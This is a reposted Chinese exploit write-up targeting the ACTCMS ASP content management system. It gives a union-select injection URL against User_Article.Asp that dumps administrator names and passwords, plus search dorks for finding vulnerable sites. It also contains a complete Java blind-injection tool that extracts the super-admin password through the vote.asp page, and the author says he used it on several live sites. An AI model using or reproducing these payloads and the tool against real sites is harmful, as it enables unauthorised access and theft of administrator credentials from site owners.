您的位置:首页 > 其它

ACTCMS管理系统 注入漏洞

2010-03-14 18:16 1181 查看
摘自 末日 的Qzone
(华盟版主)

漏洞描述: User_Article.Asp导致注入,暴出管理员密码。 利用方法: http://localhost/User/User_Article.Asp?ModeID=1action=addsclassid=-1’%20union%20select%201,2,3,4,5,admin_name%2B’|’%2Bpassword,7,8,9,10,11,12,13,14,15,16,...
baidu或者google搜索关键字:inurl:TypeClass.asp
漏洞描述:
User_Article.Asp导致注入,暴出管理员密码。

利用方法:
http://localhost/User/User_Article.Asp?ModeID=1&action=adds&classid=-1’%20union%20select%201,2,3,4,5,admin_name%2B’|’%2Bpassword,7,8,9,10,11,12,13,14,15,16,17,18%20from%20admin_act%20where%20’1’=’1

baidu或者gg搜索关键字:inurl:TypeClass.asp
==============================================
2。
一款ASP的CMS程序。用的人并不是太多。
GOOGLE一下关键字“Copyright @ 2006 www.actcms.com” ,不是太多。
今天看了一下代码。
基本上所有的参数全都被过滤掉了。。
不过投票那里出了点小问题。。
在/plus/vote/vote.asp页面。
代码如下:
ASP/Visual Basic代码
....
if request("voted").count=0 then
response.write "<script>alert(’请选择投票项目。’);window.close()</script>"
response.end
end if
for i=1 to request("voted").count
actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
next
....
response.Redirect "index.asp?id="&id&""
id直接从request里面取的,不过因为前面是update ,再加上后面的response.redirect,利用起来比较麻烦。而且这是一个一般工具无法识别的注入点。因为无论我们构造什么语句在后面,它都会跳到index.asp页面。
唯一有变化的就是当我们构造的注入条件正确的时候,票数会增加。 手工利用起来相当的麻烦,试了现在的那些注入工具明小子,pangolin之类的也不能注入,所以我自己动手写了一个简单的程序 ,因为只会JAVA,所以就用JAVA写了。。写的比较粗糙。用的穷举法,这样写着比较方便。速度慢就慢吧。
代码如下:
Java代码
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class ActCmsGetPwd {

public static char[] arr = { ’0’, ’1’, ’2’, ’3’, ’4’, ’5’, ’6’, ’7’, ’8’,
’9’, ’a’, ’b’, ’c’, ’d’, ’e’, ’f’, ’g’, ’h’, ’i’, ’j’, ’k’, ’l’,
’m’, ’n’, ’o’, ’p’, ’q’, ’r’, ’s’, ’t’, ’u’, ’v’, ’w’, ’x’, ’y’,
’z’ };

public static String siteurl = "";
public static int voteid = 1;
public static String charset = "";

public static void main(String[] args) throws Exception {
if (args.length < 4) {
System.out
.println("usage:java ActCmsGetPwd <siteurl> <voteid> <totalVoteNum> <charset>");
System.out.println("siteurl:目标站点");
System.out.println("voteid:投票id");
System.out
.println("totalVoteNum:当前的投票人数,请自行查看plus/vote/index.asp?id=<voteid>");
System.out.println("charset:目标站点所用的ACTCMS的字符集,请自行查看网页源代码");
System.out.println("eg:java ActCmsGetPwd http://www.abc.com/ 1 15 gb2312");
return;
}
siteurl = args[0];
voteid = Integer.parseInt(args[1]);
int preVoteNum = Integer.parseInt(args[2]);
charset = args[3];

System.out.println("Code by Ninty , QQ 3191864");
System.out.print("password is :");
for (int i = 1; i <= 16; i++) {
System.out.print(send(i, 0, preVoteNum));
preVoteNum++;
}
System.out.println("\nDone!");
}

public static char send(int a, int b, int preVoteNum) throws Exception {
String sql = "%20and%20(select%20top%201%20mid(password," + a
+ ",1)%20from%20admin_act%20where%20supertf%20=1)%20=%20’" + arr[b] + "’";
URL u = new URL(siteurl
+ "/Plus/vote/vote.asp?dopost=send&id="+voteid+"&ismore=0&voted=3" + sql);
URLConnection conn = u.openConnection();
BufferedReader reader = new BufferedReader(new InputStreamReader(conn
.getInputStream(),charset));
String str = reader.readLine();
while (str != null) {
if (str.indexOf(" 投票人数:") != -1) {
break;
}
str = reader.readLine();
}
reader.close();
if (!isRight(str, preVoteNum)) {
return send(a, ++b, preVoteNum);
} else {
return arr[b];
}
}

public static boolean isRight(String str, int preVoteNum) {
if (str == null) {
System.out.println("无法读取!");
System.exit(0);
}
Pattern pat = Pattern.compile("人数:(\\d+)");
Matcher mat = pat.matcher(str);
if (mat.find()) {
int num = Integer.parseInt(mat.group(1));
if (num != preVoteNum) {
return true;
}
}

return false;
}
}
下面是已经编译好的 class文件,编译环境JDK6。
直接运行就好。
actcmsgetpwd.class
在网上找了几个站测试了一下,都可以得到超级管理员的密码,不过官网好像不存在这个漏洞。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐